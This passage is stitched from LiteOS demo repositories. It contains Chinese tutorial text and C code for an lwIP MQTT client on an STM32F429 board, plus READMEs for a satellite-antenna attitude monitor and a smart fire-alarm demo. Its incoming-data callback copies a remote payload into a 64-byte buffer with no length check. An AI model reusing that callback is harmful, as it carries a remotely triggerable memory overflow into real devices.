mqtt_client_connect(client, &mqttServerIpAddr, 1883, mqtt_connection_cb, 0, &ci); /* For now just print the result code if something goes wrong */ if(err != ERR_OK) { printf("mqtt_connect return %d\n", err); } } static void mqtt_connection_cb(mqtt_client_t *client, void *arg, mqtt_connection_status_t status) { err_t err; if(status == MQTT_CONNECT_ACCEPTED) { printf("mqtt_connection_cb: Successfully connected\n"); /* Setup callback for incoming publish requests */ mqtt_set_inpub_callback(client, mqtt_incoming_publish_cb, mqtt_incoming_data_cb, arg); /* Subscribe to a topic named "subtopic" with QoS level 2, call mqtt_sub_request_cb with result */ err = mqtt_subscribe(client, LOS_IOT_SUB_TOPIC, 1, mqtt_sub_request_cb, arg); if(err != ERR_OK) { printf("mqtt_subscribe return: %d\n", err); } } else { printf("mqtt_connection_cb: Disconnected, reason: %d\n", status); /* Its more nice to be connected, so try to reconnect */ example_do_connect(client); } } ``` - `void example_do_connect(mqtt_client_t *client)`่ฏฅๅ‡ฝๆ•ฐ่ดŸ่ดฃMQTTๅฎขๆˆท็ซฏ่ฟžๆŽฅๆœๅŠกๅ™จ๏ผŒๅฐ†ๅœจ่ฟ™้‡Œๅกซๅ…ฅClient IDใ€User NameไปฅๅŠPasswordใ€‚ - `static void mqtt_connection_cb(mqtt_client_t *client, void *arg, mqtt_connection_status_t status)`่ฏฅๅ‡ฝๆ•ฐไฝœไธบMQTT่ฟžๆŽฅ็š„ๅ›ž่ฐƒๅ‡ฝๆ•ฐ๏ผŒๆฅๅ“ๅบ”MQTTๆœๅŠกๅ™จ่ฟžๆŽฅๅ›žๅบ”ใ€‚่‹ฅ่ฟžๆŽฅๆˆๅŠŸ๏ผŒๅˆ™ๅผ€ๅง‹่ฎข้˜…`LOS_IOT_SUB_TOPIC`ไธป้ข˜ใ€‚ ## 4ใ€ไธŠไผ ๆ•ฐๆฎไปฃ็ ่ฏฆ่งฃ ```c void example_publish(mqtt_client_t *client, void *arg) { const char *pstr= LOS_IOT_PUB_DATA; err_t err; u8_t qos = 1; /* 0 1 or 2, see MQTT specification */ u8_t retain = 0; /* No don't retain such crappy payload... */ err = mqtt_publish(client, LOS_IOT_PUB_TOPIC, pstr, strlen(pstr), qos, retain, mqtt_pub_request_cb, arg); if(err != ERR_OK) { printf("Publish err: %d.\r\n", err); } else { printf("Publish Success.\r\n"); } } /* Called when publish is complete either with sucess or failure */ void mqtt_pub_request_cb(void *arg, err_t result) { if(result != ERR_OK) { printf("Publish result: %d\n", result); } } ``` - `void example_publish(mqtt_client_t *client, void *arg)`ๅ‡ฝๆ•ฐ่ดŸ่ดฃๆ•ฐๆฎpublishๅˆฐ`LOS_IOT_PUB_TOPIC`ไธป้ข˜ไธญใ€‚ - `void mqtt_pub_request_cb(void *arg, err_t result)`ๅ‡ฝๆ•ฐไฝœไธบpublish็ป“ๆžœ็š„ๅ›ž่ฐƒๅ‡ฝๆ•ฐ๏ผŒๅฏนpublish็š„็ป“ๆžœ่ฟ›่กŒๅ“ๅบ”ใ€‚ ## 5ใ€ ไธ‹ๅ‘ๅ‘ฝไปคไปฃ็ ่ฏฆ่งฃ ```c static void mqtt_incoming_publish_cb(void *arg, const char *topic, u32_t tot_len) { printf("Incoming publish at topic \" %s \" with total length %u\r\n", topic, (unsigned int)tot_len); } ``` -`mqtt_subscribe(client, LOS_IOT_SUB_TOPIC, 1, mqtt_sub_request_cb, arg);`่ฏฅๅ‡ฝๆ•ฐๅ‘ๆœๅŠกๅ™จ่ฎข้˜…ไบ†`LOS_IOT_SUB_TOPIC`ไธป้ข˜ใ€‚ -`static void mqtt_incoming_publish_cb(void *arg, const char *topic, u32_t tot_len)`่ฏฅๅ›ž่ฐƒๅ‡ฝๆ•ฐๅœจๆ”ถๅˆฐไธ‹่กŒๆŠฅๆ–‡ๅŽ็ญ”ๅบ”ๆŠฅๆ–‡ไฟกๆฏใ€‚ # ไบ”ใ€ ไบงๅ“่ฐƒ่ฏ• - ่ฟ่กŒ็ปˆ็ซฏ่ฎพๅค‡๏ผŒ่ฟžๆŽฅไบ‘็ซฏๆœๅŠกๅ™จ๏ผŒๅ‘้€ๆ•ฐๆฎใ€‚ - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/online.png?raw=true) - ๅฏไปฅๅœจ่ฎพๅค‡้กต้ขๆฃ€ๆต‹่ฎพๅค‡ๆ˜ฏๅฆไธŠ็บฟใ€‚ - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/msg_rcv1.png?raw=true) - ๅฏไปฅ้€š่ฟ‡ๆถˆๆฏ้˜Ÿๅˆ—ๆฅๆŸฅ็œ‹็ปˆ็ซฏไธŠไผ ็š„ๆ•ฐๆฎใ€‚ - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/msg_rcv2.png?raw=true) - ไธŠๅ›พไธบ่ฎพๅค‡ไธŠ็บฟๅŽ็š„็Šถๆ€ๆŠฅๅ‘Šใ€‚ - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/msg_rcv3.png?raw=true) - ไธŠๅ›พไธบ็ปˆ็ซฏๅ‘้€็š„ๆ•ฐๆฎ๏ผŒpayload้ƒจๅˆ†ไธบbase64ๅŠ ๅฏ†ๅŽ็š„ๆ ผๅผใ€‚ - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/msg_rcv4.png?raw=true) - ้€š่ฟ‡base64่งฃๅฏ†ๅณๅฏๅพ—ๅˆฐๆ•ฐๆฎๅŽŸๆ–‡ใ€‚ ``` mqtt_client.c ```/* * MQTT client for lwIP * Author: Erik Andersson * Details of the MQTT protocol can be found at: http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html * */ #include "mqtt.h" #include "string.h" #include "usr_cfg.h" #include "los_sys.h" #include "los_tick.h" #include "los_task.ph" #include "los_config.h" ip_addr_t mqttServerIpAddr; static void mqtt_connection_cb(mqtt_client_t *client, void *arg, mqtt_connection_status_t status); static void mqtt_incoming_publish_cb(void *arg, const char *topic, u32_t tot_len); static void mqtt_incoming_data_cb(void *arg, const u8_t *data, u16_t len, u8_t flags); void mqtt_pub_request_cb(void *arg, err_t result); void mqtt_sub_request_cb(void *arg, err_t result); void example_do_connect(mqtt_client_t *client) { struct mqtt_connect_client_info_t ci; err_t err; /* Setup an empty client info structure */ memset(&ci, 0, sizeof(ci)); /* Client ID, user name, password */ ci.client_id = LOS_IOT_CLIENT_ID; ci.client_user = LOS_IOT_USR_NAME; ci.client_pass = LOS_IOT_PASSWORD; ci.keep_alive = 60; /* MQTT server IP address */ IP4_ADDR(&mqttServerIpAddr, 111,230,189,156); /* Initiate client and connect to server, if this fails immediately an error code is returned otherwise mqtt_connection_cb will be called with connection result after attempting to establish a connection with the server. For now MQTT version 3.1.1 is always used */ err = mqtt_client_connect(client, &mqttServerIpAddr, 1883, mqtt_connection_cb, 0, &ci); /* For now just print the result code if something goes wrong */ if(err != ERR_OK) { printf("mqtt_connect return %d\n", err); } } //Connection to server can also be probed by calling mqtt_client_is_connected(client) static void mqtt_connection_cb(mqtt_client_t *client, void *arg, mqtt_connection_status_t status) { err_t err; if(status == MQTT_CONNECT_ACCEPTED) { printf("mqtt_connection_cb: Successfully connected\n"); /* Setup callback for incoming publish requests */ mqtt_set_inpub_callback(client, mqtt_incoming_publish_cb, mqtt_incoming_data_cb, arg); /* Subscribe to a topic named "subtopic" with QoS level 2, call mqtt_sub_request_cb with result */ err = mqtt_subscribe(client, LOS_IOT_SUB_TOPIC, 1, mqtt_sub_request_cb, arg); if(err != ERR_OK) { printf("mqtt_subscribe return: %d\n", err); } } else { printf("mqtt_connection_cb: Disconnected, reason: %d\n", status); /* Its more nice to be connected, so try to reconnect */ example_do_connect(client); } } void mqtt_sub_request_cb(void *arg, err_t result) { /* Just print the result code here for simplicity, normal behaviour would be to take some action if subscribe fails like notifying user, retry subscribe or disconnect from server */ printf("Subscribe result: %d\n", result); } //----------------------------------------------------------------- //3. Implementing callbacks for incoming publish and data /* The idea is to demultiplex topic and create some reference to be used in data callbacks Example here uses a global variable, better would be to use a member in arg If RAM and CPU budget allows it, the easiest implementation might be to just take a copy of the topic string and use it in mqtt_incoming_data_cb */ static int inpub_id; static void mqtt_incoming_publish_cb(void *arg, const char *topic, u32_t tot_len) { printf("Incoming publish at topic \" %s \" with total length %u\r\n", topic, (unsigned int)tot_len); /* Decode topic string into a user defined reference */ if(strcmp(topic, LOS_IOT_SUB_TOPIC) == 0) { inpub_id = 0; } else if(topic[0] == 'A') { /* All topics starting with 'A' might be handled at the same way */ inpub_id = 1; } else { /* For all other topics */ inpub_id = 2; } } static void mqtt_incoming_data_cb(void *arg, const u8_t *data, u16_t len, u8_t flags) { uint8_t tempBuff[64]={0}; uint8_t i; for(i=0;i<len;i++) { tempBuff[i]=data[i]; } tempBuff[i]=0; printf("Incoming publish payload with length %d, flags %u\n", len, (unsigned int)flags); if(flags & MQTT_DATA_FLAG_LAST) { /* Last fragment of payload received (or whole part if payload fits receive buffer See MQTT_VAR_HEADER_BUFFER_LEN) */ /* Call function or do action depending on reference, in this case inpub_id */ if(inpub_id == 0) { /* Don't trust the publisher, check zero termination */ if(tempBuff[len] == 0) { printf("mqtt_incoming_data_cb: %s\n", (const char *)data); } } else if(inpub_id == 1) { /* Call an 'A' function... */ } else { printf("mqtt_incoming_data_cb: Ignoring payload...\n"); } } else { /* Handle fragmented payload, store in buffer, write to file or whatever */ } } //----------------------------------------------------------------- //4. Using outgoing publish void example_publish(mqtt_client_t *client, void *arg) { const char *pstr= LOS_IOT_PUB_DATA; err_t err; u8_t qos = 1; /* 0 1 or 2, see MQTT specification */ u8_t retain = 0; /* No don't retain such crappy payload... */ err = mqtt_publish(client, LOS_IOT_PUB_TOPIC, pstr, strlen(pstr), qos, retain, mqtt_pub_request_cb, arg); if(err != ERR_OK) { printf("Publish err: %d.\r\n", err); } else { printf("Publish Success.\r\n"); } } /* Called when publish is complete either with sucess or failure */ void mqtt_pub_request_cb(void *arg, err_t result) { if(result != ERR_OK) { printf("Publish result: %d\n", result); } } static mqtt_client_t static_client; static UINT32 g_uwmqttClientTaskID; LITE_OS_SEC_TEXT VOID mqtt_client_create(VOID) { static_client.conn_state=0; /* Initialize MQTT client */ example_do_connect(&static_client); while(1) { example_publish(&static_client,(void *)mqtt_pub_request_cb); LOS_TaskDelay(10000); } } void mqtt_client_init(void) { UINT32 uwRet; TSK_INIT_PARAM_S stTaskInitParam; (VOID)memset((void *)(&stTaskInitParam), 0, sizeof(TSK_INIT_PARAM_S)); stTaskInitParam.pfnTaskEntry = (TSK_ENTRY_FUNC)mqtt_client_create; stTaskInitParam.uwStackSize = 512; stTaskInitParam.pcName = "mqttClient"; stTaskInitParam.usTaskPrio = 10; uwRet = LOS_TaskCreate(&g_uwmqttClientTaskID, &stTaskInitParam); if (uwRet != LOS_OK) { return; } return; } //----------------------------------------------------------------- //5. Disconnecting //Simply call mqtt_disconnect(client) ``` README.md ```# ใ€ๅฏปๆ‰พIoT่พพไบบใ€‘LiteOSๅฏนๆŽฅไบ‘ๅนณๅฐไฝœๅ“ๅฑ•็คบ๏ผŒๅซๆ˜Ÿๅคฉ็บฟๅงฟๆ€็›‘ๆต‹ๅบ”็”จ ไธ€ใ€่ƒŒๆ™ฏๅ’Œไป‹็ป ============== 1ใ€ๅ…ฌๅธ/ๅ›ข้˜Ÿไป‹็ป ---------------- ไธšไฝ™ๅผ€ๅ‘็ˆฑๅฅฝ่€…๏ผŒ็›ฎๅ‰ไธ“ๆณจไบŽๅทฅไธš็‰ฉ่”็ฝ‘็›ธๅ…ณๆŠ€ๆœฏใ€‚ 2ใ€้กน็›ฎไป‹็ป ----------- **้กน็›ฎ็ฎ€ไป‹๏ผš** ็ง‘ๆŠ€ๆ—ฅๆ–ฐๆœˆๅผ‚็š„ๅ‘ๅฑ•๏ผŒไฟกๆฏๅŒ–ๆ•ฐๅญ—ๅŒ–็š„ไธๆ–ญๆŽจๅนฟๅ’Œๅบ”็”จ๏ผŒไฝฟๆˆ‘ไปฌ็š„็”Ÿๆดปๆ–นๅผๅ‘็”Ÿไบ†ๅทจๅคงๅ˜ๅŒ–๏ผŒไนŸ็ป™ไผ ็ปŸๆŠ€ๆœฏๅธฆๆฅไบ†ๆ–ฐ็š„ๅ˜้ฉInternetไฟกๅท็š„ไผ ่พ“ๅ›ฝ้™…้€šไฟก็”ต่ง†ไฟกๅท็š„ไผ ่พ“็ญ‰ๅˆฉ็”จๅŒๆญฅๅซๆ˜Ÿ่ฟ›่กŒ้€šไฟกๆ˜ฏ้‡่ฆ็š„ๆŠ€ๆœฏๆ‰‹ๆฎตๅŒๆญฅๅซๆ˜Ÿๅœจ่ฝจ่ฟ่กŒๅนดไน…ไน‹ๅŽ๏ผŒ็›ธๆฏ”ไธ€ๅผ€ๅง‹็š„ๅงฟๆ€ไผšๅ‘็”Ÿๅ˜ๅŒ–๏ผŒไธฅ้‡ๆ—ถไผšๅ็งป่ฟ่กŒ่ฝจ้“๏ผŒๅœฐ้ข็š„ๅซๆ˜Ÿๅคฉ็บฟไป็„ถๆŒ‡ๅ‘ๆœ€ๅˆ็š„้ข„ๅฎšไฝ็ฝฎ๏ผŒๅฏผ่‡ดๅซๆ˜Ÿ้€šไฟก็š„ไธญๆ–ญๅฆไธ€ๆ–น้ข๏ผŒๅœฐ้ขๅคงๅฃๅพ„ๅซๆ˜Ÿๅคฉ็บฟๅ—ๅˆฐๅธธๅนด้ฃŽๅŠ›ๅŠ้‡ๅŠ›็š„ๅฝฑๅ“๏ผŒไนŸไผšๅ็ฆป้ข„ๅฎšๆŒ‡ๅ‘๏ผŒ้€ ๆˆๅคฉ็บฟ็š„ๆ–นๅ‘็ณปๆ•ฐไธŽๆ•ˆ็އ็š„ไน˜็งฏๆ˜Žๆ˜พไธ‹้™๏ผŒไฟกๆฏไบคๆตไผ ้€’ไบง็”Ÿไธญๆ–ญๅฆไธ€ๆ–น้ข๏ผŒๅซๆ˜Ÿๅคฉ็บฟๆŽงๅˆถๅฎค๏ผŒๅพ€ๅพ€ๅธƒ่ฎพๅœจ้ซ˜ๅฑฑๆˆ–่€…้ซ˜ๆฅผ้กถๅฑ‚๏ผŒ็ŽฏๅขƒๆถๅŠฃ๏ผŒ็”ตๅญ่พๅฐ„่พƒๅคง๏ผŒๅฝฑๅ“ๅ€ผๆœบไบบๅ‘˜็š„่บซไฝ“ๅฅๅบท้’ˆๅฏน่ฏฅ้—ฎ้ข˜๏ผŒ่ฎพ่ฎกไบ†ไธ€็งๅ…ทๆœ‰ไฝŽๅŠŸ่€—ๆ”ฏๆŒ่ฟœ็จ‹ๆ•ฐๆฎไผ ่พ“ๅฎžๆ—ถๅ้ฆˆๅซๆ˜Ÿๅคฉ็บฟๅงฟๆ€ๅ˜ๅŒ–๏ผŒๅนถ่ƒฝ่ฟ›่กŒ่ฟœ็จ‹็›‘ๆต‹ๅ’Œๅซๆ˜Ÿ้€šไฟกๅคฉ็บฟ่ง’ๅบฆๆ–นไฝๆŽงๅˆถ็š„ๅบ”็”จ็ณป็ปŸใ€‚ๅœจๆŽฅๆ”ถๆ•ฐๅญ—ไฟกๅทๆ—ถ๏ผŒ่ฏฅ็ณป็ปŸ่ƒฝๅคŸๆปก่ถณๅœจ่พƒ็Ÿญ็š„ๆ—ถ้—ดๅ†…ไฝฟๅคฉ็บฟๅ‡†็กฎๅฏนๆ˜Ÿ๏ผŒไฟ่ฏไฟกๅทๆŽฅๆ”ถ็š„ๅฟซ้€Ÿๅฏ้ ใ€‚ ไบŒใ€้กน็›ฎๅ†…ๅฎน ============ 1ใ€ๆ–นๆกˆ่ฏดๆ˜Ž ----------- ๆœฌ้กน็›ฎไฝฟ็”จSTM32F429IGT6ๅผ€ๅ‘ๆฟ๏ผŒ้€š่ฟ‡MPU6050ๆต‹้‡ๅงฟๆ€ๆ•ฐๆฎ๏ผŒไฝฟ็”จMQTTๅ่ฎฎๆŠŠๅงฟๆ€ๆ•ฐๆฎไธŠไผ ๅˆฐ็™พๅบฆไบ‘ใ€‚ ![avatar](http://developer.huawei.com/ict/forum/data/attachment/forum/201805/13/110136x3435qhhseqtmofq.jpg) ็™พๅบฆIOT HUB่ฎพ็ฝฎ ![avatar](http://developer.huawei.com/ict/forum/data/attachment/forum/201805/13/110651z0svntbnjmlnc7j9.png) ![avatar](http://developer.huawei.com/ict/forum/data/attachment/forum/201805/13/110510aeejxyoh3hgexu99.png) ็ฝ‘็ปœๆ•ฐๆฎๆŠ“ๅŒ…ๆต‹่ฏ• ![avatar](http://developer.huawei.com/ict/forum/data/attachment/forum/201805/13/104730ko0a0iib0geyei00.png) ็”จMQTT.fxๆต‹่ฏ•MQTTๅ่ฎฎ๏ผŒ่ฎข้˜…ๅงฟๆ€ๆ•ฐๆฎ ![avatar](http://developer.huawei.com/ict/forum/data/attachment/forum/201805/13/104711ialtagrvt9oklzlt.png) ![avatar](http://developer.huawei.com/ict/forum/data/attachment/forum/201805/13/104719mlekduwv9vwsnwn9.png) ``` los_bsp_lwip.c ```#include "lwip/mem.h" #include "lwip/memp.h" #include "lwip/tcp.h" #include "lwip/udp.h" #include "netif/etharp.h" #include "lwip/dhcp.h" #include "lwip/tcpip.h" #include "ethernetif.h" #include "stdint.h" #include <stdio.h> #include "lwip/timeouts.h" #include "lwip/priv/tcp_priv.h" #include "ethernetif.h" #include "LAN8742A.h" #include "los_bsp_lwip.h" #include "httpserver-netconn.h" #include "mqtt_client.h" #include "usr_cfg.h" struct netif gnetif; int errno = 0; void LOS_EvbLwipInit(void) { ip_addr_t ipaddr; ip_addr_t netmask; ip_addr_t gw; ETH_BSP_Config(); /* init the tcpip */ tcpip_init( NULL, NULL ); /* initializes the dynamic memory heap defined by MEM_SIZE */ mem_init(); /* initializes the memory pools defined by MEMP_NUM_x */ memp_init(); #ifdef TIMEOUT_CHECK_USE_LWIP sys_timeouts_init(); #endif /* TIMEOUT_CHECK_USE_LWIP */ #ifdef USE_DHCP ipaddr.addr = 0; netmask.addr = 0; gw.addr = 0; #else IP4_ADDR(&ipaddr, LOS_IOT_LOCAL_IP1,LOS_IOT_LOCAL_IP2,LOS_IOT_LOCAL_IP3,LOS_IOT_LOCAL_IP4); IP4_ADDR(&netmask, 255, 255 , 255, 0); IP4_ADDR(&gw, LOS_IOT_GW1,LOS_IOT_GW2,LOS_IOT_GW3,LOS_IOT_GW4); #endif /* USE_DHCP */ /* - netif_add(struct netif *netif, struct ip_addr *ipaddr, struct ip_addr *netmask, struct ip_addr *gw, void *state, err_t (* init)(struct netif *netif), err_t (* input)(struct pbuf *p, struct netif *netif)) Adds your network interface to the netif_list. Allocate a struct netif and pass a pointer to this structure as the first argument. Give pointers to cleared ip_addr structures when using DHCP, or fill them with sane numbers otherwise. The state pointer may be NULL. The init function pointer must point to a initialization function for your ethernet netif interface. The following code illustrates it's use.*/ netif_add(&gnetif, &ipaddr, &netmask, &gw, NULL, &ethernetif_init, tcpip_input); /* registers the default network interface */ netif_set_default(&gnetif); /* when the netif is fully configured this function must be called */ netif_set_up(&gnetif); mqtt_client_init(); } ``` readme.md ```ไธ€ใ€่ƒŒๆ™ฏๅ’Œไป‹็ป ============== 1ใ€ๅ…ฌๅธ/ๅ›ข้˜Ÿไป‹็ป ---------------- ๆญฆๆฑ‰ๆ‹“ๅฎ็ง‘ๆŠ€่‚กไปฝๆœ‰้™ๅ…ฌๅธ็”ฑๅฏŒๆœ‰ๅˆ›ๆ–ฐ็ฒพ็ฅž็š„็•™็พŽๅšๅฃซๅ’Œไผไธšๅฎถๅˆ›็ซ‹๏ผŒๅ›ข้˜Ÿๆœ‰ๆˆๅŠŸ็š„ๅˆ›ไธš็ป้ชŒๅ’ŒไธฐๅฏŒ็š„้ซ˜็ง‘ๆŠ€ๅ…ฌๅธ็ฎก็†็ป้ชŒ๏ผŒๅนถๅœจๆ— ็บฟ้€šไฟกใ€ๅพฎๆณขๅฐ„้ข‘ใ€่Šฏ็‰‡่ฎพ่ฎกๅ’Œ่ฝฏไปถๅผ€ๅ‘ๆ–น้ขๆœ‰ไธšๅ†…้ข†ๅ…ˆ็š„ไบงๅ“ๅ’ŒๆŠ€ๆœฏ็ ”ๅ‘่ƒฝๅŠ›๏ผŒ็ ”ๅ‘ๅ›ข้˜ŸๅŠๆ•ฐไปฅไธŠๅ…ทๆœ‰็ก•ๅฃซๅญฆไฝ๏ผŒๅŒ…ๆ‹ฌๅšๅฃซๅ’Œ้ซ˜็บง่Œ็งฐๅคšไบบ๏ผŒๅ…ฌๅธๆ‹ฅๆœ‰ๅŒ…ๆ‹ฌๅคš้กนๅ‘ๆ˜Žไธ“ๅˆฉๅœจๅ†…็š„ๆ•ฐๅ้กน็Ÿฅ่ฏ†ไบงๆƒใ€‚ ________________ ๅ…ฌๅธ่‡ดๅŠ›ไบŽ้ข†ๅ…ˆ็š„็‰ฉ่”็ฝ‘ไบงๅ“ๅ’Œ็ณป็ปŸ่งฃๅ†ณๆ–นๆกˆ ่งฃๅ†ณๆ–นๆกˆ๏ผš > * [ๆ— ็บฟๆ™บๆ…งๆถˆ้˜ฒ่งฃๅ†ณๆ–นๆกˆ](http://www.turboes.com/h-col-137.html) > * [ๆ— ็บฟๆ™บๆ…งๅœ่ฝฆ่งฃๅ†ณๆ–นๆกˆ](http://www.turboes.com/h-col-136.html) ไธป่ฅไบงๅ“๏ผš > * [NB-IoT ็‰ฉ่”็ฝ‘็ปˆ็ซฏ](http://www.turboes.com/h-col-102.html) > * [LoRa ็‰ฉ่”็ฝ‘็ปˆ็ซฏ](http://www.turboes.com/h-col-121.html) > * [LoRa ๆ— ็บฟ็ฝ‘ๅ…ณๅ’Œๆจก็ป„](http://www.turboes.com/h-col-115.html) > * [ๅพฎๆณข้›ท่พพไผ ๆ„Ÿๅ™จ](http://www.turboes.com/h-col-125.html) ________________ ๅ…ทไฝ“่ฏฆๆƒ…่ฏท่ฎฟ้—ฎๅ…ฌๅธๅฎ˜ๆ–น็ฝ‘็ซ™๏ผš[ๆญฆๆฑ‰ๆ‹“ๅฎ็ง‘ๆŠ€่‚กไปฝๆœ‰้™ๅ…ฌๅธ](http://www.turboes.com/) ๅพฎไฟกๅ…ฌไผ—ๅท๏ผšๆ‹“ๅฎ็ง‘ๆŠ€ 2ใ€้กน็›ฎไป‹็ป ----------- **้กน็›ฎ็ฎ€ไป‹๏ผš** > ๆ‹“ๅฎ็ง‘ๆŠ€ๅŸบไบŽๆ™บๆ…งๆถˆ้˜ฒ็ณป็ปŸ่งฃๅ†ณๆ–นๆกˆๅผ€ๅ‘ไบ†็ปˆ็ซฏๆŠฅ่ญฆๆŽขๆต‹ๅ™จใ€ๆ— ็บฟ็ฝ‘ๅ…ณใ€ไบ‘ๅนณๅฐใ€ๅบ”็”จๆœๅŠกๅ™จๅ‡ ๆฌพไบงๅ“ๅนถๅทฒ็ปๆˆๅŠŸๅบ”็”จไบŽๅคšไธชๅœบๆ™ฏใ€‚ๆœฌๆฌก็š„ๆ™บๆ…งๆถˆ้˜ฒ็คบ่Œƒๅบ”็”จ้กน็›ฎไฝฟ็”จไบ†ๅŽไธบๅฎ˜ๆ–นๆไพ›็š„F429ไธปๆฟๆฅๆจกๆ‹Ÿๆˆ‘ไปฌ็š„็ปˆ็ซฏๆŠฅ่ญฆๆŽขๆต‹ๅ™จ๏ผŒๆŽขๆต‹ๅ™จๅ…ทๆœ‰่ฟžๆŽฅไบ‘ๅนณๅฐ๏ผŒๅ‘ไบ‘ๅนณๅฐๅ‘้€ๆŠฅ่ญฆๆ•ฐๆฎๅ’ŒๆŽฅๆ”ถๆฅ่‡ชไบ‘ๅนณๅฐไธ‹ๅ‘็š„ๅ‘ฝไปคๅ’Œๅ‚ๆ•ฐ็š„ๅŠŸ่ƒฝ๏ผŒๆœฌๆฌก้กน็›ฎ่ฟžๆŽฅ็š„ๆ˜ฏ็ฌฌไธ‰ๆ–น็™พๅบฆไบ‘ๅนณๅฐ(็‰ฉๆŽฅๅ…ฅIoTHub)๏ผŒ้‡‡็”จไบ†MQTTๅฎขๆˆท็ซฏๆฅๆจกๆ‹Ÿๅบ”็”จๆœๅŠกๅ™จๆŽฅๆ”ถ็ฌฌไธ‰ๆ–นไบ‘ๅนณๅฐ็š„ๆ•ฐๆฎ๏ผŒๅนถไธ‹ๅ‘ๆŽงๅˆถๅ‘ฝไปคๅ’Œๅ‚ๆ•ฐ็ป™็™พๅบฆไบ‘๏ผŒๆœฌๆฌก้กน็›ฎไป…ไฝœไธบๆˆ‘ไปฌๆ™บๆ…งๆถˆ้˜ฒ็ณป็ปŸ่งฃๅ†ณๆ–นๆกˆ็š„ๅˆๆญฅๆผ”็คบไฝœ็”จใ€‚ > ๅœจๆ™บๆ…งๆถˆ้˜ฒ้ข†ๅŸŸไธญ๏ผŒ็›ฎๅ‰ๅธ‚้ขไฝฟ็”จ็š„ๅคงๅคšๆ•ฐไบงๅ“็ƒŸ้›พๆŽขๆต‹ๆŠฅ่ญฆๅ™จใ€ๆ‰‹ๅŠจๆŠฅ่ญฆๆŒ‰้’ฎใ€ๅฏ็‡ƒๆฐ”ไฝ“ๆŽขๆต‹ๅ™จ็ญ‰้ƒฝไธๅ…ทๅค‡่”็ฝ‘ๅŠŸ่ƒฝ๏ผŒๅฝ“ๅฑ…ๆ‰€ๅค„ๅ‘็”Ÿ็ซ็พๆˆ–็ดงๆ€ฅ้™ฉๆƒ…ๆ—ถๅช่ƒฝๆœฌๅœฐๆŠฅ่ญฆ๏ผˆๆฏ”ๅฆ‚ๅœจๆทฑๅคœๅ…ฅ็กๅŽ๏ผ‰๏ผŒๆ•‘ๆดไบบๅ‘˜ๆ— ๆณ•ๅฟซ้€Ÿๅ‘็Žฐ้™ฉๆƒ…๏ผŒ็ญ‰ๅˆฐๅ‘็Žฐๆ—ถๅทฒๆ— ๆณ•ๅŠๆ—ถๆ•‘ๆด๏ผŒๆœ€็ปˆๆ™พๆˆๆ‚ฒๅ‰งใ€‚่ฟ‘ๅนดๆฅ้š็€็‰ฉ่”็ฝ‘็š„็ซ็ƒญๅธ‚้ขไธŠๅ‡บ็Žฐไบ†ไธ€ไบ›ๅ…ทๅค‡่”็ฝ‘ๅŠŸ่ƒฝ็š„ๆ™บ่ƒฝๆŠฅ่ญฆๅ™จ๏ผŒๅฝ“ๅ‘็”Ÿ้™ฉๆƒ…ๆ—ถๅฏ้€š่ฟ‡ๆ— ็บฟๆˆ–ๆœ‰็บฟ้€šไฟก็š„ๆ–นๅผๅฐ†ๆŠฅ่ญฆไฟกๆฏๅŠๆ—ถๅ‘Š็Ÿฅๆ•‘ๆดไบบๅ‘˜๏ผŒไปŽ่€Œๅ‡ๅฐ‘ๆ‚ฒๅ‰ง็š„ๅ‘็”Ÿ๏ผŒไธ่ฟ‡่ฏฅ็ฑปๅž‹็š„ไบงๅ“ๆ— ็บฟ้€šไฟก่ท็ฆป็Ÿญใ€ๅŠŸ่€—่พƒ้ซ˜ใ€ๅธƒ็บฟๆˆๆœฌๅคช้ซ˜ใ€ๆ›ดๆข้บป็ƒฆ๏ผŒๆˆ‘ไปฌๆœฌๆฌกไบงๅ“่ฎพ่ฎกๆ— ็บฟๆ™บๆ…งๆถˆ้˜ฒไบงๅ“้‡‡็”จNB-IOT๏ผŒLoRa็ญ‰ๆ— ็บฟ้€šไฟกๆŠ€ๆœฏๅ…ทๆœ‰ไผ ่พ“่ท็ฆป้•ฟใ€ๅคง้ข็งฏ็ป„็ฝ‘ใ€ไผ‘็œ ๅŠŸ่€—ไฝŽ๏ผˆuA็บง๏ผ‰ใ€ๅฎ‰่ฃ…ๅ’Œๆ‹†ๅธๆ–นไพฟ็š„็‰น็‚น๏ผŒ้€‚็”จไบŽๆ™บ่ƒฝๅฎถๅฑ…ใ€ๅคงๅž‹็คพๅŒบใ€ๅŠžๅ…ฌๅœบใ€ๅ…ฌๅ…ฑๅœบๆ‰€ๆ‰€็ญ‰ๅคงๅž‹ๅปบ็ญ‘็‰ฉ๏ผŒๆœชๆฅๅ‘ๅฑ•ๅ‰ๆ™ฏๅนฟ้˜”ใ€‚ ไบŒใ€้กน็›ฎๅ†…ๅฎน ============ 1ใ€ๆ–นๆกˆ่ฏดๆ˜Ž ----------- ๏ผˆ1๏ผ‰ๅŠŸ่ƒฝ่ฏดๆ˜Ž > * ๆœฌๆฌก้กน็›ฎ้‡‡็”จ็š„ๆ˜ฏF429ๅผ€ๅ‘ๆฟๆจกๆ‹Ÿๆˆ‘ไปฌ็š„็ปˆ็ซฏๆŠฅ่ญฆๆŽขๆต‹ๅ™จ๏ผŒๅฎž็Žฐไบ†็ปˆ็ซฏ่ฟžๆŽฅ็™พๅบฆไบ‘็š„็‰ฉๆŽฅๅ…ฅIoT 